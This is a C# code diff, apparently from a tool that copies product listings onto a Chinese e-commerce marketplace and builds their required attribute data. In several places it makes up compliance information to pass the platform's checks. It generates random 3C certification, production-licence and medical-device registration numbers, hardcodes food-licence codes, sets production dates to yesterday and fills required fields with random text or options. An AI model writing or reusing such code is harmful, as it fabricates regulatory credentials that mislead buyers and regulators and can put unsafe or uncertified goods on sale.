(string.IsNullOrEmpty(p.value_unit)) + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.Xx]+)"); + if (value.Contains("(")||value.Contains("-")) + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.Xx-—]+)" + p.value_unit);// + if (value!=null&& !Regex.IsMatch(value, @"^[+-]?\d*[.]?\d*$")) + value = BaseRegex.GetMatchRegexString(value, @"([\d.]+)"+p.value_unit);// + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.Xx]+)[(]"); + if (string.IsNullOrEmpty(p.value_unit)) + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.Xx]+)"); + if (p.name.Contains("年龄")) + p.value_unit = "岁"; + if (p.name.Contains("定价")) + p.value_unit = "元"; + if (p.name.Contains("年龄段")) + { + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.Xx-—]+)" + p.value_unit);// + value = value.Replace("—", ","); + } + if (string.IsNullOrEmpty(value)) + { + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.Xx]+)"); + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.]+)$"); + } + if (!string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = p.value_unit.Trim(); + } + if (p.name == "酒精度数" && p.value_unit != "%vol.") + { + p.value_unit = "%vol."; + } + if (p.name == "保质期" && string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = "天"; + } + if (p.name == "保质期" && p.value_unit!="天") + { + if (string.IsNullOrEmpty(value)) + value = "60"; + if (p.value_unit.Contains("月")) + { + value = (int.Parse(value) * 30).ToString(); + } + if (p.value_unit.Contains("年")) + { + value = "365"; + } + p.value_unit = "天"; + } + if (p.value_unit!=null&&p.value_unit.Contains("—")) + { + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.Xx—]+)"); + } + + if (po.Value.Contains("—")) + { + if (string.IsNullOrEmpty(value)) + value = BaseRegex.GetMatchRegexString(po.Value, @"([\d.—X]+)" + p.value_unit);// + value = value.Replace("—", ","); + } + if (!string.IsNullOrEmpty(p.value_unit) && p.value_unit.Length > 10) + p.value_unit = BaseRegex.GetMatchRegexString(po.Value, @"([^\d.]+)"); + if (catId == 10492 || catId == 10487) + { + p.value_unit = "cm"; + value = (int.Parse(value) / 10).ToString(); + } + if (catId == 18629 || (catId == 6606 && p.name.Contains("净含量"))) + { + p.value_unit = "g"; + } + if ((p.name_alias.Contains("包") || p.name.Contains("包")) && string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = "包"; + } + if (catId == 17378 || catId == 17377 && string.IsNullOrEmpty(p.value_unit)) + { + p.value_unit = "包"; + } + if (catId == 4668) + { + p.value_unit = "张"; + } + if (catId == 6690 && p.name == "规格") + { + p.value_unit = "袋"; + } + if (catId == 12007 && p.name == "照明时间") + { + p.value_unit = "h"; + } + if (catId == 17360 && p.value_unit.Contains("L")) + { + decimal result = 0M; + decimal.TryParse(value, out result); + value = ((int)(result * 1000)).ToString(); + p.value_unit = "mL"; + } + if (!string.IsNullOrEmpty(p.value_unit)) + { + if (p.value_unit.Contains("-") || p.value_unit.Contains("(") || p.value_unit.Contains(")")) + p.value_unit = p.value_unit.Replace("-", "").Replace("(", "").Replace(")", ""); + } + if (p.name.Contains("年份")) + { + p.value_unit = "年"; + } + if (p.name.Contains("产品重量")&& catId!= 7799&& !(p.value_unit != null&&(p.value_unit.Contains("mL")|| p.value_unit.Contains("L")))) + { + p.value_unit = "g"; + } + if (catId == 7799 && p.value_unit.Contains("mL")) + p.value_unit = "mL"; + if (p.name == "节数") + { + p.value_unit = "节"; + if (int.Parse(value) > 10000) + value = "10000"; + } + if (catId == 17068) + value =po.Value.Replace(p.value_unit, "").Replace("x", ","); + + if (string.IsNullOrEmpty(value) && p.required == true)//必填强制指定 + value = "1"; + } + if (p.value_type == 5) + { + value = BaseRegex.GetMatchRegexString(value, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})"); + if (string.IsNullOrEmpty(value)) + value = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd"); + } + if (!string.IsNullOrEmpty(value) && p.value_type != 0) + value = value.Replace("X", ","); + if (!string.IsNullOrEmpty(value) && p.value_type != 0) + value = value.Replace("x", ","); + if (string.IsNullOrEmpty(value) && p.name == "3C认证证书编号") + { + value = +Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999); + } + if (p.name.Contains("期") && p.value_unit == null) + p.value_unit = "天"; + if (p.name.Contains("期") && p.value_unit != null) + p.value_unit = p.value_unit.Replace("个", ""); + if (!string.IsNullOrEmpty(value) && p.name == "生产日期" && pc.main_cat_name == "食品保健" && pc.main_cid == 7) + value = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd"); + + if (string.IsNullOrEmpty(value)) + continue; + value = value.Replace(" ", ""); + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + continue; + } + else if (p.is_sale == true && p.values.Count > 0)//复选多属性 + { + continue; + string[] l = po.Value.Replace(" ", ",").Replace("、", ",").Split(','); + for (int j = 0; j < l.Length && j < 3; j++) + { + if (string.IsNullOrEmpty(l[j])) + continue; + var v = p.values.Find(va => va.value == l[j]); + if (v == null) + v = p.values.Find(va => va.value.Contains(l[j]) || l[j].Contains(va.value)); + if (v == null) + continue; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + v.vid + ",\"parent_spec_id\":\"" + p.spec_id + "\",\"spec_id\":\"" + v.spec_id + "\",\"group_id\":\"" + v.group.id + "\",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + } + continue; + } + else if (p.values.Count > 0) //选择型 + { + if (p.name == "型号") + { + string[] poValue = po.Value.Split('、'); + for (int q = 0; q < poValue.Length; q++) + { + var vr = p.values.Find(va => va.value == poValue[q]); + if (vr == null) + vr = p.values.Find(va => va.value.Replace("其它", "其他") == po.Value.Replace("其它", "其他")); + if (vr == null && (bool)p.required == false) + continue; + if (vr == null) + vr = p.values.Find(va => va.value.Contains(po.Value) || po.Value.Contains(va.value)); + if (vr == null) + { + for (int j = 0; j < p.values.Count; j++) + { + if (!p.values[j].value.Contains("/") || !p.values[j].value.Contains("(")) + continue; + if (!p.values[j].value.Contains("/")) + { + string[] px = p.values[j].value.Split('/'); + if (!string.IsNullOrEmpty(px[0]) && po.Value.Contains(px[0])) + { + vr = p.values[j]; + break; + } + } + if (!p.values[j].value.Contains("(")) + { + string[] px = p.values[j].value.Split('('); + if (!string.IsNullOrEmpty(px[0]) && po.Value.Contains(px[0])) + { + vr = p.values[j]; + break; + } + } + } + } + if (vr == null && p.required == true) //必填强制随机 + vr = p.values[Randomx.GetId(p.values.Count)]; + if (vr == null || vr.vid == null) + continue; + vid = (int)vr.vid; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + continue; + } + } + else + { + string[] poValues = po.Value.Split('、'); + for (int k = 0; k < poValues.Length; k++) + { + po.Value = poValues[k]; + var v = p.values.Find(va => va.value == po.Value.Trim()); + if (v == null) + v = p.values.Find(va => va.value.Contains(po.Value.Trim()) || po.Value.Trim().Contains(va.value)); + if (v == null) + v = p.values.Find(va => va.value.Replace("其它", "其他") == po.Value.Replace("其它", "其他")); + if (v == null && (bool)p.required == false) + continue; + if (v == null) + v = p.values.Find(va => va.value.Contains(po.Value) || po.Value.Contains(va.value)); + if (v == null) + { + for (int j = 0; j < p.values.Count; j++) + { + if (!p.values[j].value.Contains("/") || !p.values[j].value.Contains("(")) + continue; + if (!p.values[j].value.Contains("/")) + { + string[] px = p.values[j].value.Split('/'); + if (!string.IsNullOrEmpty(px[0]) && po.Value.Contains(px[0])) + { + v = p.values[j]; + break; + } + } + if (!p.values[j].value.Contains("(")) + { + string[] px = p.values[j].value.Split('('); + if (!string.IsNullOrEmpty(px[0]) && po.Value.Contains(px[0])) + { + v = p.values[j]; + break; + } + } + } + } + if (v == null && p.required == true) //必填强制随机 + v = p.values[Randomx.GetId(p.values.Count)]; + if (v == null || v.vid == null) + continue; + vid = (int)v.vid; + if (p.name.Contains("特殊")) + { + if (code.Contains("国妆") || code.Contains("QB")) + { + vid = (int)p.values.Find(pt => pt.value == "是").vid; + } + } + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + if (p.required == true) + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + continue; + } + } + } + } + for (int i = 0; i < levelproperties.Count; i++) + { + if (flag && (levelproperties[i].name.Contains("材质") || levelproperties[i].name.Contains("成分含量") || levelproperties[i].name.Contains("面料"))) + continue; + if (levelproperties[i].name.Contains("面料")) + { + var p = template.properties.Find(t => t.parent_id == levelproperties[i].id); + if (p != null) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.id + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + string vidstr = mc[0].Groups[1].Value; + string item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + p = template.properties.Find(t => t.parent_id == p.id); + if (p != null) + { + mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + p.id + @",""vid"":([\d]+),[\w\W]+?}"); + if (mc == null || mc.Count == 0) continue; + vidstr = mc[0].Groups[1].Value; + item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + } + } + } + if (vidParentIds.ContainsKey((int)levelproperties[i].id))//限制父节点取值 + { + var lst = vidParentIds[(int)levelproperties[i].id]; + var pxv = levelproperties[i].values.Find(s => s.value == "其他" || s.value == "其它"); + if (pxv == null && !(bool)levelproperties[i].required) + { + int? vidxt = 0;//子节点ID + foreach (KeyValuePair kvp in dicPro) + { + if (kvp.Value == levelproperties[i].id) + { + vidxt = kvp.Key; + break; + } + } + if (code.Contains(vidxt.ToString())) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidxt + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + } + vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == levelproperties[i].id) + { + vidxt = dicPro[key]; + break; + } + } + if (code.Contains(vidxt.ToString())) + { + var mc = BaseRegex.GetMatchRegex(ref code, @",{""template_pid"":" + vidxt + @",[\w\W]+?}"); + var item = mc[0].Groups[0].Value; + code = code.Replace(item, ""); + } + continue; + } + if (lst != null) + { + var v = lst[Randomx.GetId(lst.Count)]; + if (code.Contains(levelproperties[i].id.ToString())) + continue; + pxv = levelproperties[i].values.Find(s => s.vid == v); + if (pxv == null) + continue; + code += ",{\"template_pid\":" + levelproperties[i].id + ",\"vid\":" + v + ",\"value\":\"\",\"value_unit\":\"" + levelproperties[i].value_unit + "\"}"; + } + } + else + { + if ((bool)levelproperties[i].required) + { + properties.Add(levelproperties[i]); + } + } + + } + + for (int i = 0; i < properties.Count; i++)//无数据且必填项目,强制随机取值 + { + if (properties[i].required != true) + continue; + int vid = 0; + string value = ""; + var p = properties[i]; + if (catId == 3109 && (p.name == "电池容量" || p.name_alias == "电池容量")) + continue; + if ((catId == 15348 || catId == 15351) && p.name.Contains("3C")) + continue; + if (p.name.Contains("食品生产许可证编号") && code.Contains("SC")) + continue; + if (p.name.Contains("食品生产许可证编号") && code.Contains("保健食品")) + continue; + if (p.name.Contains("食品生产许可证编号") && code.Contains("海外膳食营养补充食品")) + continue; + if (p.values == null || p.values.Count == 0)//输入型 + { + value = GetRandomChinese(8);//上传上家的商品,属性基本上不会出现在这里,这里用生成随机字符串的方式 + if (catId == 8405) + continue; + if (p.name.Contains("证")) + value = Randomx.GetId(2000, 2019) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999); + if (p.name.Contains("工业产品生产许可证")) + value = Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(1000, 9999); + if (p.name == "生产日期" && pc.main_cat_name == "食品保健" && pc.main_cid == 7) + value = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd"); + if (p.name == "生产日期") + value = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd"); + //if (catId == 15172||catId== 15223 && p.name.Contains("证")) + // value = "2016010717879090"; + if (catId == 14885) + value = "XK16-204-00364"; + if (p.value_unit == "天") + value = "40"; + if (p.name.Contains("保健品批准文号")) + continue; + if (p.name.Contains("化妆品批准文号")||p.name_alias.Contains("化妆品批准文号")) + continue; + if (p.name.Contains("食品生产许可证编号")) + value = "SC10635021200211"; + if (p.name.Contains("ISBN")) + { + value = BaseRegex.GetMatchRegexString(pc.content_pinduoduo, @"ISBN编号\|([\d]+?)\|"); + if (string.IsNullOrEmpty(value)) + value = "9787540138240"; + } + if (p.value_type == 5) + value = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd"); + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + } + else if (p.values.Count > 0) //选择型 + { + vid = (int)p.values[Randomx.GetId(p.values.Count)].vid; + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + vid + ",\"value\":\"" + value + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + } + } + for (int i = 0; i < levelproperties.Count; i++) + { + var p = levelproperties[i]; + int? vidxt = 0;//子节点ID + foreach (int key in dicPro.Keys)//父节点找子节点 + { + if (key == p.id) + { + vidxt = dicPro[key]; + break; + } + } + if (vidxt>0&&code.Contains(vidxt.ToString())|| code.Contains(p.id.ToString())) + continue; + //if (DefaultProperties.Count == 0) + //{ + // GetDefaultProperties(); + //} + if (DefaultProperties.ContainsKey(p.name) || DefaultProperties.ContainsKey(p.name_alias)) + { + string value = ""; + if (DefaultProperties.ContainsKey(p.name)) + value = DefaultProperties[p.name]; + if (string.IsNullOrEmpty(value)) + value = DefaultProperties[p.name_alias]; + if (p.name_alias!=p.name) + value = DefaultProperties[p.name_alias]; + string[] vals = value.Split(','); + for (int j = 0; j < vals.Length; j++) + { + var item = vals[j]; + if (p.values == null || p.values.Count == 0) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + 0 + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + 0 + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + } + else + { + bool ishas = false; + for (int k = 0; k < p.values.Count; k++) + { + if (item == p.values[k].value) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + p.values[k].vid + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + p.values[k].vid + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + ishas = true; + break; + } + } + if (ishas) + break; + } + } + } + } + //添加手动默认选项 + for (int i = 0; i < properties.Count; i++) + { + var p = properties[i]; + //if (DefaultProperties.Count == 0) + //{ + // GetDefaultProperties(); + //} + if (DefaultProperties.ContainsKey(p.name)|| DefaultProperties.ContainsKey(p.name_alias)) + { + string value = ""; + if (DefaultProperties.ContainsKey(p.name)) + value=DefaultProperties[p.name]; + if (string.IsNullOrEmpty(value)) + value = DefaultProperties[p.name_alias]; + string[] vals = value.Split(','); + for (int j = 0; j < vals.Length; j++) + { + var item = vals[j]; + if (p.values == null || p.values.Count == 0) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + 0 + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + 0 + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + } + else + { + bool ishas = false; + for (int k = 0; k < p.values.Count; k++) + { + if (item == p.values[k].value) + { + code += ",{\"template_pid\":" + p.id + ",\"vid\":" + p.values[k].vid + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + mustCode += ",{\"template_pid\":" + p.id + ",\"vid\":" + p.values[k].vid + ",\"value\":\"" + item + + "\",\"value_unit\":\"" + p.value_unit + "\"}"; + ishas = true; + break; + } + } + if (ishas) + break; + } + } + } + } + + if (cat1 == 6586) + code = code.Replace("克", "g"); + if (catId == 14879) + { + if (code.Contains("10629")) + code = ",{\"template_pid\":95201,\"vid\":59036,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":95202,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":95203,\"vid\":0,\"value\":\"XK16-204-03833\",\"value_unit\":\"\"}"; + } + if (catId == 14885) + { + if (code.Contains("10629")) + code = ",{\"template_pid\":95213,\"template_module_id\":21971,\"vid\":59036,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":95214,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":95215,\"vid\":0,\"value\":\"XK16-204-03833\",\"value_unit\":\"\"}"; + } + if (catId == 7307 || catId == 8496) + { + if (code.Contains("10629")) + code = code.Replace(",{\"template_pid\":144155,\"vid\":14504,\"value\":\"\",\"value_unit\":\"\"}", "").Replace(",{\"template_pid\":144155,\"vid\":14499,\"value\":\"\",\"value_unit\":\"\"}", ""); + } + if (catId == 8496) + { + if (code.Contains("10629")) + code = code.Replace(",{\"template_pid\":142793,\"vid\":14504,\"value\":\"\",\"value_unit\":\"\"}", "").Replace(",{\"template_pid\":142793,\"vid\":14499,\"value\":\"\",\"value_unit\":\"\"}", ""); + } + if (code.Contains("10629")) + { + var m = BaseRegex.GetMatchRegex(ref code, @"{[^}]+?}"); + int tid = 0; + int sid = 0; + int svid = 0; + for (int i = 0; m != null && i < m.Count; i++) + { + string item = m[i].Groups[0].Value; + tid = BaseRegex.GetIntJson(ref item, "template_pid"); + svid = BaseRegex.GetIntJson(ref item, "vid"); + if (svid == 10629) + break; + } + foreach (KeyValuePair kvp in dicPro) + { + if ((int)kvp.Value == tid) + { + sid = (int)kvp.Key; + break; + } + } + bool ishas = false; + foreach (KeyValuePair> kvp in vidParentIds) + { + if (kvp.Key == tid) + { + for (int i = 0; i < kvp.Value.Count; i++) + { + if (kvp.Value[i] == svid) + { + ishas = true; + break; + } + } + } + } + if (!ishas) + { + string item = ""; + for (int i = 0; m != null && i < m.Count; i++) + { + item = m[i].Groups[0].Value; + tid = BaseRegex.GetIntJson(ref item, "template_pid"); + if (tid == sid) + break; + } + code = code.Replace("," + item + "", ""); + } + + } + return code; + } + public static string GetRandomChinese(int strlength) + { + // 获取GB2312编码页(表) + Encoding gb = Encoding.GetEncoding("gb2312"); + + object[] bytes = CreateRegionCode(strlength); + + StringBuilder sb = new StringBuilder(); + + for (int i = 0; i < strlength; i++) + { + string temp = gb.GetString((byte[])Convert.ChangeType(bytes[i], typeof(byte[]))); + sb.Append(temp); + } + + return sb.ToString(); + } + private static object[] CreateRegionCode(int strlength) + { + //定义一个字符串数组储存汉字编码的组成元素 + string[] rBase = new String[16] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" }; + + Random rnd = new Random(); + + //定义一个object数组用来 + object[] bytes = new object[strlength]; + + /** + 每循环一次产生一个含两个元素的十六进制字节数组,并将其放入bytes数组中 + 每个汉字有四个区位码组成 + 区位码第1位和区位码第2位作为字节数组第一个元素 + 区位码第3位和区位码第4位作为字节数组第二个元素 + **/ + for (int i = 0; i < strlength; i++) + { + //区位码第1位 + int r1 = rnd.Next(11, 14); + string str_r1 = rBase[r1].Trim(); + + //区位码第2位 + rnd = new Random(r1 * unchecked((int)DateTime.Now.Ticks) + i); // 更换随机数发生器的 种子避免产生重复值 + int r2; + if (r1 == 13) + { + r2 = rnd.Next(0, 7); + } + else + { + r2 = rnd.Next(0, 16); + } + string str_r2 = rBase[r2].Trim(); + + //区位码第3位 + rnd = new Random(r2 * unchecked((int)DateTime.Now.Ticks) + i); + int r3 = rnd.Next(10, 16); + string str_r3 = rBase[r3].Trim(); + + //区位码第4位 + rnd = new Random(r3 * unchecked((int)DateTime.Now.Ticks) + i); + int r4; + if (r3 == 10) + { + r4 = rnd.Next(1, 16); + } + else if (r3 == 15) + { + r4 = rnd.Next(0, 15); + } + else + { + r4 = rnd.Next(0, 16); + } + string str_r4 = rBase[r4].Trim(); + + // 定义两个字节变量存储产生的随机汉字区位码 + byte byte1 = Convert.ToByte(str_r1 + str_r2, 16); + byte byte2 = Convert.ToByte(str_r3 + str_r4, 16); + // 将两个字节变量存储在字节数组中 + byte[] str_r = new byte[] { byte1, byte2 }; + + // 将产生的一个汉字的字节数组放入object数组中 + bytes.SetValue(str_r, i); + } + + return bytes; + } + + /// + /// 获取必填项 + /// + /// + /// + /// + public static string Get(int catId, int cat1, ref ProductCollectBase pc) + { + string code = ""; + if (catId == 14932) + { + code = + ",{\"template_pid\":40870,\"template_module_id\":8747,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40871,\"template_module_id\":8747,\"pid\":9,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40872,\"template_module_id\":8747,\"pid\":55,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40874,\"template_module_id\":8747,\"pid\":316,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"},{\"template_pid\":40875,\"template_module_id\":8747,\"pid\":317,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"},{\"template_pid\":40876,\"template_module_id\":8747,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}," + + "{\"template_pid\":40877,\"template_module_id\":8747,\"pid\":351,\"vid\":0,\"value\":\"" + + Randomx.GetId(2000, 5017) + "/" + Randomx.GetId(10000, 50017) + + "\",\"value_unit\":\"\"},{\"template_pid\":40878,\"template_module_id\":8747,\"pid\":352,\"vid\":84120,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":40879,\"template_module_id\":8747,\"pid\":175,\"vid\":84126,\"value\":\"\",\"value_unit\":\"\"}"; + return code; + } + if (catId == 17402) //卷筒纸 + { + code = + ",{\"template_pid\":45053,\"template_module_id\":9772,\"pid\":275,\"vid\":0,\"value\":\"" + + Randomx.GetId(20, 200) + + "\",\"value_unit\":\"g\"},{\"template_pid\":45054,\"template_module_id\":9772,\"pid\":162,\"vid\":0,\"value_unit\":\"卷\"},{\"template_pid\":45055,\"template_module_id\":9772,\"pid\":64,\"vid\":0,\"value\":\"100,100\",\"value_unit\":\"mm\"},{\"template_pid\":45056,\"template_module_id\":9772,\"pid\":336,\"vid\":83637,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45057,\"template_module_id\":9772,\"pid\":33,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45058,\"template_module_id\":9772,\"pid\":16,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45059,\"template_module_id\":9772,\"pid\":340,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45060,\"template_module_id\":9772,\"pid\":339,\"value\":\"\",\"value_unit\":\"\"}"; + return code; + } + if (catId == 17399) //抽纸 + { + code = + ",{\"template_pid\":45017,\"template_module_id\":9766,\"pid\":336,\"vid\":83637,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":45018,\"template_module_id\":9766,\"pid\":191,\"vid\":0,\"value\":\"100\",\"value_unit\":\"抽\"},{\"template_pid\":45020,\"template_module_id\":9766,\"pid\":64,\"vid\":0,\"value\":\"100,100\",\"value_unit\":\"mm\"}"; + return code; + } + if (catId == 8653) //国产腕表 + { + code = + ",{\"template_pid\":57869,\"template_module_id\":14217,\"pid\":133,\"vid\":0,\"value\":\"26\",\"value_unit\":\"mm\"}"; + return code; + } + if (catId == 13924) + { + var no = pc.Prop.Find(p => p.Key == "注册证号"); + string nox = no == null || string.IsNullOrEmpty(no.Value) + ? "国食药监械(准)字2014第3" + Randomx.GetId(100000, 999999) + "号" + : no.Value; + code = + ",{\"template_pid\":42782,\"template_module_id\":9175,\"pid\":234,\"vid\":0,\"value\":\"" + nox + + "\",\"value_unit\":\"\"}"; + return code; + } + List md = Properties.FindAll(m => m != null && m.cats.Contains(catId)); + if (md == null || md.Count == 0) + { + if ( + ",14918,14932,14913,15540,14932,9647,9610,9559,9558,9551,6247,6167,6034,6028,6024,6006,5989,5982,5965,5963,5961,5959,5757,5671,5670,3030,657," + .Contains("," + catId + ",")) + { + code = + ",{\"template_pid\":33051,\"template_module_id\":7185,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}"; + var k = pc.Prop.Find(p => p.Key.Contains("证书编号")); + if (k != null) + code += + ",{\"template_pid\":33052,\"template_module_id\":7185,\"pid\":59,\"vid\":0,\"value\":\"" + + k.Value + "\",\"value_unit\":\"\"}"; + else + code += + ",{\"template_pid\":33052,\"template_module_id\":7185,\"pid\":59,\"vid\":0,\"value\":\"" + + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}"; + } + if ( + ",2,6586,6785,6883,6758,6536,6630,6398,,63,64,65,92,95,99,101,3853,3862,3867,3872,3876,3900,898,897,3993,1079," + .Contains("," + cat1 + ",")) + { + code += ",{\"template_pid\":5876,\"template_module_id\":1385,\"pid\":57,\"vid\":0,\"value\":\"" + + DateTime.Today.ToString("yyyy-MM-dd") + + "\",\"value_unit\":\"\"},{\"template_pid\":5877,\"template_module_id\":1385,\"pid\":58,\"vid\":0,\"value\":\"300\",\"value_unit\":\"天\"}"; + } + if (",14931,".Contains("," + catId + ",")) + { + code += + ",{\"template_pid\":55981,\"template_module_id\":13855,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"}"; + code += + ",{\"template_pid\":33052,\"template_module_id\":7185,\"pid\":59,\"vid\":0,\"value\":\"" + + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}"; + } + + return code; + } + ModelBase mdType = md.Find(m => m.name.Contains("面料俗称") || m.name.Contains("面料材质")); + List mdType1 = md.FindAll(m => m.pid == 16);//材质 + List mdType2 = md.FindAll(m => m.pid == 56);//成分含量 + + for (int i = 0; i < mdType1.Count; i++) + { + md.Remove(mdType1[i]); + } + for (int i = 0; i < mdType2.Count; i++) + { + md.Remove(mdType2[i]); + } + if (mdType != null) + { + md.Remove(mdType); + string codeTemp = ""; + bool ok = false; + for (int i = 0; i < mdType.Values.Count; i++) + { + if (ok) + break; + string name = mdType.Values[i].value; + if (name.Contains(" ")) + name = mdType.Values[i].value.Substring(0, mdType.Values[i].value.IndexOf(" ")); + if (name.Contains("(")) + name = mdType.Values[i].value.Substring(0, mdType.Values[i].value.IndexOf("(")); + var p = pc.Prop.Find(px => px.Value.Contains(name)); + if (name == "其它" && p == null) + p = pc.Prop.Find(px => px.Value.Contains("其他")); + + if (p == null) + continue; + if (!p.Value.Contains("%")) + p = pc.Prop.Find(px => px.Value.Contains("%")); + if (p == null) + p = new KeyValueBase("", "20%"); + + codeTemp += ",{\"template_pid\":" + mdType.template_pid + ",\"template_module_id\":" + + mdType.template_module_id + ",\"pid\":" + mdType.pid + ",\"vid\":" + + mdType.Values[i].vid + ",\"value\":\"\",\"value_unit\":\"" + + mdType.Values[i].p_unit + "\"}"; + if (mdType1.Count > 0) + { + ModelBase mdType16 = + mdType1.Find(m => m.Values.Count > 0 && m.Values[0].value == mdType.Values[i].value); + if (mdType16 != null) + { + codeTemp += ",{\"template_pid\":" + mdType16.template_pid + ",\"template_module_id\":" + + mdType16.template_module_id + ",\"pid\":" + mdType16.pid + ",\"vid\":" + + mdType16.Values[0].vid + ",\"value\":\"\",\"value_unit\":\"" + + mdType16.Values[0].p_unit + "\"}"; + } + } + string percent = BaseRegex.GetMatchRegexString(p.Value, @"([\d ]+)%"); + if (string.IsNullOrEmpty(percent)) + break; + int per = 0; + int.TryParse(percent, out per); + for (int j = 0; mdType2.Count > 0 && j < mdType2[0].Values.Count; j++) + { + var m = BaseRegex.GetMatchRegex(mdType2[0].Values[j].value, @"([\d]+)%"); + int min = 0, max = 0; + if (m == null || m.Count == 0) + break; + if (m.Count == 1) + { + min = max = int.Parse(m[0].Groups[1].Value); + } + if (m.Count == 2) + { + min = int.Parse(m[0].Groups[1].Value); + max = int.Parse(m[1].Groups[1].Value); + } + if (per >= min && per <= max) + { + codeTemp += ",{\"template_pid\":" + mdType2[0].template_pid + ",\"template_module_id\":" + + mdType2[0].template_module_id + ",\"pid\":" + mdType2[0].pid + ",\"vid\":" + + mdType2[0].Values[j].vid + ",\"value\":\"\",\"value_unit\":\"" + + mdType2[0].Values[j].p_unit + "\"}"; + ok = true; + break; + } + } + } 